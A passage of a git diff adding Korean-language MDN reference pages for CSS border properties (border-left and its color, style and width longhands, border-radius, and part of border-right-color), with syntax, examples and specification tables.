+ - CSS Property
+ - Reference
+translation_of: Web/CSS/border-left-color
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>border-left-color</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소의 왼쪽 테두리 색상을 지정합니다.</span> {{cssxref("border-color")}} 또는 {{cssxref("border-left")}} 단축 속성으로도 지정할 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-left-color.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers language-css">/* &lt;color&gt; 값 */
+border-left-color: red;
+border-left-color: #ffbb00;
+border-left-color: rgb(255, 0, 0);
+border-left-color: hsla(100%, 50%, 25%, 0.75);
+border-left-color: currentColor;
+border-left-color: transparent;
+
+/* 전역 값 */
+border-left-color: inherit;
+border-left-color: initial;
+border-left-color: unset;
+</pre>
+
+<p><code>border-left-color</code> 속성은 하나의 값을 사용해 지정합니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;color&gt;")}}</dt>
+ <dd>왼쪽 테두리의 색상.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="테두리를_가진_간단한_상자">테두리를 가진 간단한 상자</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="mybox"&gt;
+ &lt;p&gt;This is a box with a border around it.
+ Note which side of the box is
+ &lt;span class="redtext"&gt;red&lt;/span&gt;.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.mybox {
+ border: solid 0.3em gold;
+ border-left-color: red;
+ width: auto;
+}
+
+.redtext {
+ color: red;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('테두리를_가진_간단한_상자')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Backgrounds', '#border-left-color', 'border-left-color')}}</td>
+ <td>{{Spec2('CSS3 Backgrounds')}}</td>
+ <td>No significant changes, though the <code>transparent</code> keyword, now included in {{cssxref("&lt;color&gt;")}} which has been extended, has been formally removed.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'box.html#propdef-border-left-color', 'border-left-color')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border-left-color")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>테두리 관련 CSS 단축 속성: {{cssxref("border")}}, {{cssxref("border-left")}}, {{cssxref("border-color")}}.</li>
+ <li>다른 방향 테두리의 색상 관련 CSS 단축 속성: {{cssxref("border-top-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-bottom-color")}}.</li>
+ <li>왼쪽 테두리 관련 CSS 속성: {{cssxref("border-left-style")}}, {{cssxref("border-left-width")}}.</li>
+</ul>
diff --git a/files/ko/web/css/border-left-style/index.html b/files/ko/web/css/border-left-style/index.html
new file mode 100644
index 0000000000..18bc232483
--- /dev/null
+++ b/files/ko/web/css/border-left-style/index.html
@@ -0,0 +1,134 @@
+---
+title: border-left-style
+slug: Web/CSS/border-left-style
+tags:
+ - CSS
+ - CSS Borders
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/border-left-style
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>border-left-style</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소 테두리의 왼쪽 스타일을 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-left-style.html")}}</div>
+
+
+
+<div class="note"><strong>참고:</strong> 명세는 서로 다른 스타일의 테두리가 꼭지점에서 만날 때 어떻게 그려야 할지는 정의하고 있지 않습니다.</div>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* 키워드 값 */
+border-left-style: none;
+border-left-style: hidden;
+border-left-style: dotted;
+border-left-style: dashed;
+border-left-style: solid;
+border-left-style: double;
+border-left-style: groove;
+border-left-style: ridge;
+border-left-style: inset;
+border-left-style: outset;
+
+/* 전역 값 */
+border-left-style: inherit;
+border-left-style: initial;
+border-left-style: unset;
+</pre>
+
+<p><code>border-left-style</code> 속성은 {{cssxref("border-style")}} 속성에 사용할 수 있는 키워드 중 하나를 사용해 지정할 수 있습니다.</p>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;table&gt;
+ &lt;tr&gt;
+ &lt;td class="b1"&gt;none&lt;/td&gt;
+ &lt;td class="b2"&gt;hidden&lt;/td&gt;
+ &lt;td class="b3"&gt;dotted&lt;/td&gt;
+ &lt;td class="b4"&gt;dashed&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td class="b5"&gt;solid&lt;/td&gt;
+ &lt;td class="b6"&gt;double&lt;/td&gt;
+ &lt;td class="b7"&gt;groove&lt;/td&gt;
+ &lt;td class="b8"&gt;ridge&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td class="b9"&gt;inset&lt;/td&gt;
+ &lt;td class="b10"&gt;outset&lt;/td&gt;
+ &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">/* Define look of the table */
+table {
+ border-width: 2px;
+ background-color: #52E385;
+}
+tr, td {
+ padding: 3px;
+}
+
+/* border-left-style example classes */
+.b1 {border-left-style: none;}
+.b2 {border-left-style: hidden;}
+.b3 {border-left-style: dotted;}
+.b4 {border-left-style: dashed;}
+.b5 {border-left-style: solid;}
+.b6 {border-left-style: double;}
+.b7 {border-left-style: groove;}
+.b8 {border-left-style: ridge;}
+.b9 {border-left-style: inset;}
+.b10 {border-left-style: outset;}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('예제', 300, 200)}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Backgrounds', '#the-border-style', 'border-left-style')}}</td>
+ <td>{{Spec2('CSS3 Backgrounds')}}</td>
+ <td>No significant change.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'box.html#border-style-properties', 'border-left-style')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border-left-style")}}</p>
+
+<h2 id="See_Also" name="See_Also">같이 보기</h2>
+
+<ul>
+ <li>테두리 스타일 관련 CSS 속성: {{cssxref("border-top-style")}}, {{cssxref("border-right-style")}}, {{cssxref("border-bottom-style")}}, {{cssxref("border-style")}}.</li>
+ <li>왼쪽 테두리 관련 CSS 속성: {{cssxref("border-left")}}, {{cssxref("border-left-color")}}, {{cssxref("border-left-width")}}.</li>
+</ul>
diff --git a/files/ko/web/css/border-left-width/index.html b/files/ko/web/css/border-left-width/index.html
new file mode 100644
index 0000000000..78687a842a
--- /dev/null
+++ b/files/ko/web/css/border-left-width/index.html
@@ -0,0 +1,150 @@
+---
+title: border-left-width
+slug: Web/CSS/border-left-width
+tags:
+ - CSS
+ - CSS Borders
+ - CSS Property
+ - Reference
+ - 'recipe:css-property'
+translation_of: Web/CSS/border-left-width
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>border-left-width</code></strong> 속성은 요소의 왼쪽 테두리 너비를 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-left-width.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* 키워드 값 */
+border-left-width: thin;
+border-left-width: medium;
+border-left-width: thick;
+
+/* &lt;length&gt; 값 */
+border-left-width: 10em;
+border-left-width: 3vmax;
+border-left-width: 6px;
+
+/* 전역 값 */
+border-left-width: inherit;
+border-left-width: initial;
+border-left-width: unset;
+</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>&lt;line-width&gt;</code></dt>
+ <dd>테두리의 너비입니다. 0 이상의 {{cssxref("&lt;length&gt;")}} 또는 키워드를 사용할 수 있습니다. 키워드는 다음 세 가지 중 하나여야 합니다.
+ <table class="standard-table">
+ <tbody>
+ <tr>
+ <td><code>thin</code></td>
+ <td>
+ <div style="margin: 0.5em; width: 3em; height: 3em; border-left-style: solid; border-left-width: thin; background-color: palegreen;"></div>
+ </td>
+ <td>얇은 테두리</td>
+ </tr>
+ <tr>
+ <td><code>medium</code></td>
+ <td>
+ <div style="margin: 0.5em; width: 3em; height: 3em; border-left-style: solid; border-left-width: medium; background-color: palegreen;"></div>
+ </td>
+ <td>중간 테두리</td>
+ </tr>
+ <tr>
+ <td><code>thick</code></td>
+ <td>
+ <div style="margin: 0.5em; width: 3em; height: 3em; border-left-style: solid; border-left-width: thick; background-color: palegreen;"></div>
+ </td>
+ <td>굵은 테두리</td>
+ </tr>
+ </tbody>
+ </table>
+
+ <div class="note">
+ <p><strong>참고:</strong> 각 키워드의 굵기를 정의한 명세는 없기 때문에 결과는 구현별로 상이할 수 있습니다. 다만 굵기는 언제나 <code>thin ≤ medium ≤ thick</code>이고, 하나의 문서 내에서 동일합니다.</p>
+ </div>
+ </dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="테두리의_너비_비교">테두리의 너비 비교</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div&gt;Element 1&lt;/div&gt;
+&lt;div&gt;Element 2&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">div {
+ border: 1px solid red;
+ margin: 1em 0;
+}
+
+div:nth-child(1) {
+ border-left-width: thick;
+}
+div:nth-child(2) {
+ border-left-width: 2em;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('테두리의_너비_비교', '100%')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Backgrounds', '#the-border-width', 'border-left-width')}}</td>
+ <td>{{Spec2('CSS3 Backgrounds')}}</td>
+ <td>No significant change.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'box.html#border-width-properties', 'border-left-width')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>No significant change.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#border-left-width', 'border-left-width')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border-left-width")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>테두리 너비 관련 CSS 속성: {{Cssxref("border-top-width")}}, {{Cssxref("border-right-width")}}, {{Cssxref("border-bottom-width")}}, and {{Cssxref("border-width")}}.</li>
+ <li>왼쪽 테두리 관련 CSS 속성: {{Cssxref("border")}}, {{Cssxref("border-left")}}, {{Cssxref("border-left-style")}}, and {{Cssxref("border-left-color")}}.</li>
+</ul>
diff --git a/files/ko/web/css/border-left/index.html b/files/ko/web/css/border-left/index.html
new file mode 100644
index 0000000000..cf9b0547df
--- /dev/null
+++ b/files/ko/web/css/border-left/index.html
@@ -0,0 +1,109 @@
+---
+title: border-left
+slug: Web/CSS/border-left
+tags:
+ - CSS
+ - CSS Borders
+ - CSS Property
+ - Reference
+ - 테두리
+translation_of: Web/CSS/border-left
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>border-left</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> <a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>은 요소의 왼쪽 테두리를 설정합니다.</span> {{cssxref("border-left-width")}}, {{cssxref("border-left-style")}}, {{cssxref("border-left-color")}}의 값을 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-left.html")}}</div>
+
+
+
+<p>다른 단축 속성과 마찬가지로, <code>border-left</code>는 자신이 포함한 모든 값을 지정하며 사용자가 명시하지 않은 속성도 기본값으로 설정합니다. 즉, 아래 두 코드는 사실 동일합니다.</p>
+
+<pre class="brush: css">border-left-style: dotted;
+border-left: thick green;
+</pre>
+
+<pre class="brush: css">border-left-style: dotted;
+border-left: none thick green;
+</pre>
+
+<p>따라서 <code>border-left</code>보다 먼저 지정한 {{cssxref("border-left-style")}}의 값은 무시됩니다. {{cssxref("border-left-style")}}의 기본값은 <code>none</code>이므로, <code>border-style</code>을 명시하지 않으면 테두리를 만들지 않습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers">border-left: 1px;
+border-left: 2px dotted;
+border-left: medium dashed green;
+</pre>
+
+<p><code>border-left</code>은 한 개에서 세 개의 값을 사용해 지정할 수 있고, 순서는 상관하지 않습니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>&lt;br-width&gt;</code></dt>
+ <dd>{{cssxref("border-left-width")}}.</dd>
+ <dt><code>&lt;br-style&gt;</code></dt>
+ <dd>{{cssxref("border-left-style")}}.</dd>
+ <dt>{{cssxref("&lt;color&gt;")}}</dt>
+ <dd>{{cssxref("border-left-color")}}.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;div&gt;
+ 왼쪽 테두리를 가진 요소입니다.
+&lt;/div&gt;</pre>
+
+<pre class="brush: css">div {
+ border-left: 4px dashed blue;
+ background-color: gold;
+ height: 100px;
+ width: 100px;
+ font-weight: bold;
+ text-align: center;
+}
+</pre>
+
+<p>{{EmbedLiveSample('예제')}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Backgrounds', '#border-left', 'border-left')}}</td>
+ <td>{{Spec2('CSS3 Backgrounds')}}</td>
+ <td>No direct changes, though the modification of values for the {{cssxref("border-left-color")}} do apply to it.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'box.html#propdef-border-left', 'border-left')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>No significant changes.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#border-left', 'border-left')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("css.properties.border-left")}}</p>
diff --git a/files/ko/web/css/border-radius/index.html b/files/ko/web/css/border-radius/index.html
new file mode 100644
index 0000000000..3c9c812d36
--- /dev/null
+++ b/files/ko/web/css/border-radius/index.html
@@ -0,0 +1,228 @@
+---
+title: border-radius
+slug: Web/CSS/border-radius
+tags:
+ - CSS
+ - CSS Borders
+ - CSS Property
+ - Reference
+ - 'recipe:css-shorthand-property'
+translation_of: Web/CSS/border-radius
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>border-radius</code></strong> 속성은 요소 테두리 경계의 꼭짓점을 둥글게 만듭니다. 하나의 값을 사용해 원형 꼭짓점을, 두 개의 값을 사용해 타원형 꼭짓점을 적용할 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-radius.html")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<p>꼭짓점 반경은 요소의 테두리 존재 여부와는 별개로 전체 {{Cssxref("background")}}에 적용됩니다. 원형 꼭짓점으로 인해 배경이 잘리는 지점은 {{cssxref("background-clip")}} 속성이 지정합니다.</p>
+
+<p>{{cssxref("border-collapse")}}의 값이 <code>collapse</code>인 표 요소는 <code>border-radius</code> 속성의 영향을 받지 않습니다.</p>
+
+<div class="note"><strong>참고</strong>: 다른 단축 속성과 마찬가지로, 각각의 하위 속성이 부모를 상속하도록 할 수는 없습니다. 즉, <code>border-radius: 0 0 inherit inherit</code>처럼 일부만 재정의할 수 없습니다. 대신, 원래의 본디속성을 하나씩 사용하세요.</div>
+
+<h2 id="구성_속성">구성 속성</h2>
+
+<p><code>border-radius</code>는 다음 CSS 속성의 단축 속성입니다.</p>
+
+<ul>
+ <li>{{cssxref("border-bottom-left-radius")}}</li>
+ <li>{{cssxref("border-bottom-right-radius")}}</li>
+ <li>{{cssxref("border-top-left-radius")}}</li>
+ <li>{{cssxref("border-top-right-radius")}}</li>
+</ul>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css notranslate">/* The syntax of the first radius allows one to four values */
+/* Radius is set for all 4 sides */
+border-radius: 10px;
+
+/* top-left-and-bottom-right | top-right-and-bottom-left */
+border-radius: 10px 5%;
+
+/* top-left | top-right-and-bottom-left | bottom-right */
+border-radius: 2px 4px 2px;
+
+/* top-left | top-right | bottom-right | bottom-left */
+border-radius: 1px 0 3px 4px;
+
+/* The syntax of the second radius allows one to four values */
+/* (first radius values) / radius */
+border-radius: 10px 5% / 20px;
+
+/* (first radius values) / top-left-and-bottom-right | top-right-and-bottom-left */
+border-radius: 10px 5% / 20px 30px;
+
+/* (first radius values) / top-left | top-right-and-bottom-left | bottom-right */
+border-radius: 10px 5px 2em / 20px 25px 30%;
+
+/* (first radius values) / top-left | top-right | bottom-right | bottom-left */
+border-radius: 10px 5% / 20px 25em 30px 35em;
+
+/* Global values */
+border-radius: inherit;
+border-radius: initial;
+border-radius: unset;</pre>
+
+<p><code>border-radius</code> 속성은 다음 방법으로 지정할 수 있습니다.</p>
+
+<ul>
+ <li>한 개에서 네 개의 {{cssxref("&lt;length&gt;")}} 또는 {{cssxref("&lt;percentage&gt;")}} 값은 꼭짓점의 단일 반지름을 설정합니다.</li>
+ <li>선택적으로 "<code>/</code>" 이후에 한 개에서 네 개의 <code>&lt;length&gt;</code> 또는 <code>&lt;percentage&gt;</code> 값을 사용해 추가 반지름을 설정해서 타원형 꼭짓점을 만들 수 있습니다.</li>
+</ul>
+
+<h3 id="값">값</h3>
+
+<table>
+ <tbody>
+ <tr>
+ <td style="vertical-align: top;"><em>radius</em></td>
+ <td><img alt="all-corner.png" class="default internal" src="/@api/deki/files/6138/=all-corner.png"></td>
+ <td style="vertical-align: top;">테두리의 각 꼭짓점 반지름을 나타내는 {{cssxref("&lt;length&gt;")}} 또는 {{cssxref("&lt;percentage&gt;")}}. 한 개 값 구문에서만 사용합니다.</td>
+ </tr>
+ <tr>
+ <td style="vertical-align: top;"><em>top-left-and-bottom-right</em></td>
+ <td><img alt="top-left-bottom-right.png" class="default internal" src="/@api/deki/files/6141/=top-left-bottom-right.png"></td>
+ <td style="vertical-align: top;">왼쪽 위와 오른쪽 아래 꼭짓점의 반지름을 나타내는 {{cssxref("&lt;length&gt;")}} 또는 {{cssxref("&lt;percentage&gt;")}}. 두 개 값 구문에서만 사용합니다.</td>
+ </tr>
+ <tr>
+ <td style="vertical-align: top;"><em>top-right-and-bottom-left</em></td>
+ <td><img alt="top-right-bottom-left.png" class="default internal" src="/@api/deki/files/6143/=top-right-bottom-left.png"></td>
+ <td style="vertical-align: top;">오른쪽 위와 왼쪽 아래 꼭짓점의 반지름을 나타내는 {{cssxref("&lt;length&gt;")}} 또는 {{cssxref("&lt;percentage&gt;")}}. 두 개 또는 세 개 값 구문에서만 사용합니다.</td>
+ </tr>
+ <tr>
+ <td style="vertical-align: top;"><em>top-left</em></td>
+ <td><img alt="top-left.png" class="default internal" src="/@api/deki/files/6142/=top-left.png"></td>
+ <td style="vertical-align: top;">왼쪽 위 꼭짓점의 반지름을 나타내는 {{cssxref("&lt;length&gt;")}} 또는 {{cssxref("&lt;percentage&gt;")}}. 세 개 또는 네 개 값 구문에서만 사용합니다.</td>
+ </tr>
+ <tr>
+ <td style="vertical-align: top;"><em>top-right</em></td>
+ <td style="margin-left: 2px;"><img alt="top-right.png" class="default internal" src="/@api/deki/files/6144/=top-right.png"></td>
+ <td style="vertical-align: top;">오른쪽 위 꼭짓점의 반지름을 나타내는 {{cssxref("&lt;length&gt;")}} 또는 {{cssxref("&lt;percentage&gt;")}}. 네 개 값 구문에서만 사용합니다.</td>
+ </tr>
+ <tr>
+ <td style="vertical-align: top;"><em>bottom-right</em></td>
+ <td style="margin-left: 2px;"><img alt="bottom-rigth.png" class="default internal" src="/@api/deki/files/6140/=bottom-rigth.png"></td>
+ <td style="vertical-align: top;">오른쪽 아래 꼭짓점의 반지름을 나타내는 {{cssxref("&lt;length&gt;")}} 또는 {{cssxref("&lt;percentage&gt;")}}. 네 개 값 구문에서만 사용합니다.</td>
+ </tr>
+ <tr>
+ <td style="vertical-align: top;"><em>bottom-left</em></td>
+ <td><img alt="bottom-left.png" class="default internal" src="/@api/deki/files/6139/=bottom-left.png"></td>
+ <td style="vertical-align: top;">왼쪽 아래 꼭짓점의 반지름을 나타내는 {{cssxref("&lt;length&gt;")}} 또는 {{cssxref("&lt;percentage&gt;")}}. 네 개 값 구문에서만 사용합니다.</td>
+ </tr>
+ </tbody>
+</table>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>길이 값을 사용해 원의 반지름 또는 타원의 짧은반지름과 긴반지름을 지정합니다. 음의 값은 유효하지 않습니다.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>백분율 값을 사용해 원의 반지름 또는 타원의 짧은반지름과 긴반지름을 지정합니다. 가로축 값은 요소 박스의 너비에 대한 백분율이고, 세로축 값은 박스의 높이에 대한 백분율입니다. 음의 값은 유효하지 않습니다.</dd>
+</dl>
+
+<p>예를 들어...</p>
+
+<pre class="brush: css notranslate">border-radius: 1em/5em;
+
+/* 아래와 같음 */
+border-top-left-radius: 1em 5em;
+border-top-right-radius: 1em 5em;
+border-bottom-right-radius: 1em 5em;
+border-bottom-left-radius: 1em 5em;
+</pre>
+
+<pre class="brush: css notranslate">border-radius: 4px 3px 6px / 2px 4px;
+
+/* 아래와 같음 */
+border-top-left-radius: 4px 2px;
+border-top-right-radius: 3px 4px;
+border-bottom-right-radius: 6px 2px;
+border-bottom-left-radius: 3px 4px;
+</pre>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="notranslate">{{csssyntax}}
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre style="display: inline-block; margin: 10px; border: solid 10px; border-radius: 10px 40px 40px 10px;"> border: solid 10px;
+ /* 테두리가 'D'형태가 됨 */
+ border-radius: 10px 40px 40px 10px;
+</pre>
+
+<pre style="display: inline-block; margin: 10px; border: groove 1em red !important; border-radius: 2em; width: 90%;"> border: groove 1em red;
+ border-radius: 2em;
+</pre>
+
+<pre style="display: inline-block; margin: 10px; background: gold; border: ridge gold !important; border-radius: 13em/3em; width: 90%;"> background: gold;
+ border: ridge gold;
+ border-radius: 13em/3em;
+</pre>
+
+<pre style="display: inline-block; margin: 10px; background: gold; border: none !important; border-radius: 40px 10px; width: 90%;"> border: none;
+ border-radius: 40px 10px;
+</pre>
+
+<pre style="display: inline-block; margin: 10px; background: burlywood; border: none !important; border-radius: 50%; width: 90%;"> border: none;
+ border-radius: 50%;
+</pre>
+
+<pre style="display: inline-block; margin: 10px; border: dotted; border-width: 10px 4px !important; border-radius: 10px 40px; width: 90%;"> border: dotted;
+ border-width: 10px 4px;
+ border-radius: 10px 40px;
+</pre>
+
+<pre style="display: inline-block; margin: 10px; border: dashed; border-width: 2px 4px !important; border-radius: 40px; width: 90%;"> border: dashed;
+ border-width: 2px 4px;
+ border-radius: 40px;
+</pre>
+
+<h3 id="라이브_샘플">라이브 샘플</h3>
+
+<ol>
+ <li><a href="http://jsfiddle.net/Tripad/qnGKj/2/">http://jsfiddle.net/Tripad/qnGKj/2/</a></li>
+ <li><a href="http://jsfiddle.net/Tripad/qnGKj/3/">http://jsfiddle.net/Tripad/qnGKj/3/</a></li>
+ <li><a href="http://jsfiddle.net/Tripad/qnGKj/3/">http://jsfiddle.net/Tripad/qnGKj/4/</a></li>
+ <li><a href="http://jsfiddle.net/Tripad/qnGKj/3/">http://jsfiddle.net/Tripad/qnGKj/5/</a></li>
+ <li><a href="http://jsfiddle.net/Tripad/qnGKj/3/">http://jsfiddle.net/Tripad/qnGKj/6/</a></li>
+</ol>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Backgrounds', '#border-radius', 'border-radius') }}</td>
+ <td>{{ Spec2('CSS3 Backgrounds') }}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border-radius")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>꼭짓점 반경 관련 CSS 속성: {{Cssxref("border-top-left-radius")}}, {{Cssxref("border-top-right-radius")}}, {{Cssxref("border-bottom-right-radius")}}, {{Cssxref("border-bottom-left-radius")}}</li>
+</ul>
diff --git a/files/ko/web/css/border-right-color/index.html b/files/ko/web/css/border-right-color/index.html
new file mode 100644
index 0000000000..c6292d566b
--- /dev/null
+++ b/files/ko/web/css/border-right-color/index.html
@@ -0,0 +1,114 @@
+---
+title: border-right-color
+slug: Web/CSS/border-right-color
+tags:
+ - CSS
+ - CSS Borders
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/border-right-color
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>border-right-color</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소의 오른쪽 테두리 색상을 지정합니다.</span> {{cssxref("border-color")}} 또는 {{cssxref("border-right")}} 단축 속성으로도 지정할 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-right-color.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers language-css">/* &lt;color&gt; 값 */
+border-right-color: red;
+border-right-color: #ffbb00;
+border-right-color: rgb(255, 0, 0);
+border-right-color: hsla(100%, 50%, 25%, 0.75);
+border-right-color: currentColor;
+border-right-color: transparent;
+
+/* 전역 값 */
+border-right-color: inherit;
+border-right-color: initial;
+border-right-color: unset;
+</pre>
+
+<p><code>border-right-color</code> 속성은 하나의 값을 사용해 지정합니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;color&gt;")}}</dt>
+ <dd>오른쪽 테두리의 색상.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="테두리를_가진_간단한_상자">테두리를 가진 간단한 상자</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="mybox"&gt;
+ &lt;p&gt;This is a box with a border around it.
+ Note which side of the box is
+ &lt;span class="redtext"&gt;red&lt;/span&gt;.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.mybox {
+ border: solid 0.3em gold;
+ border-right-color: red;
+ width: auto;
+}
+
+.redtext {
+ color: red;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('테두리를_가진_간단한_상자')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
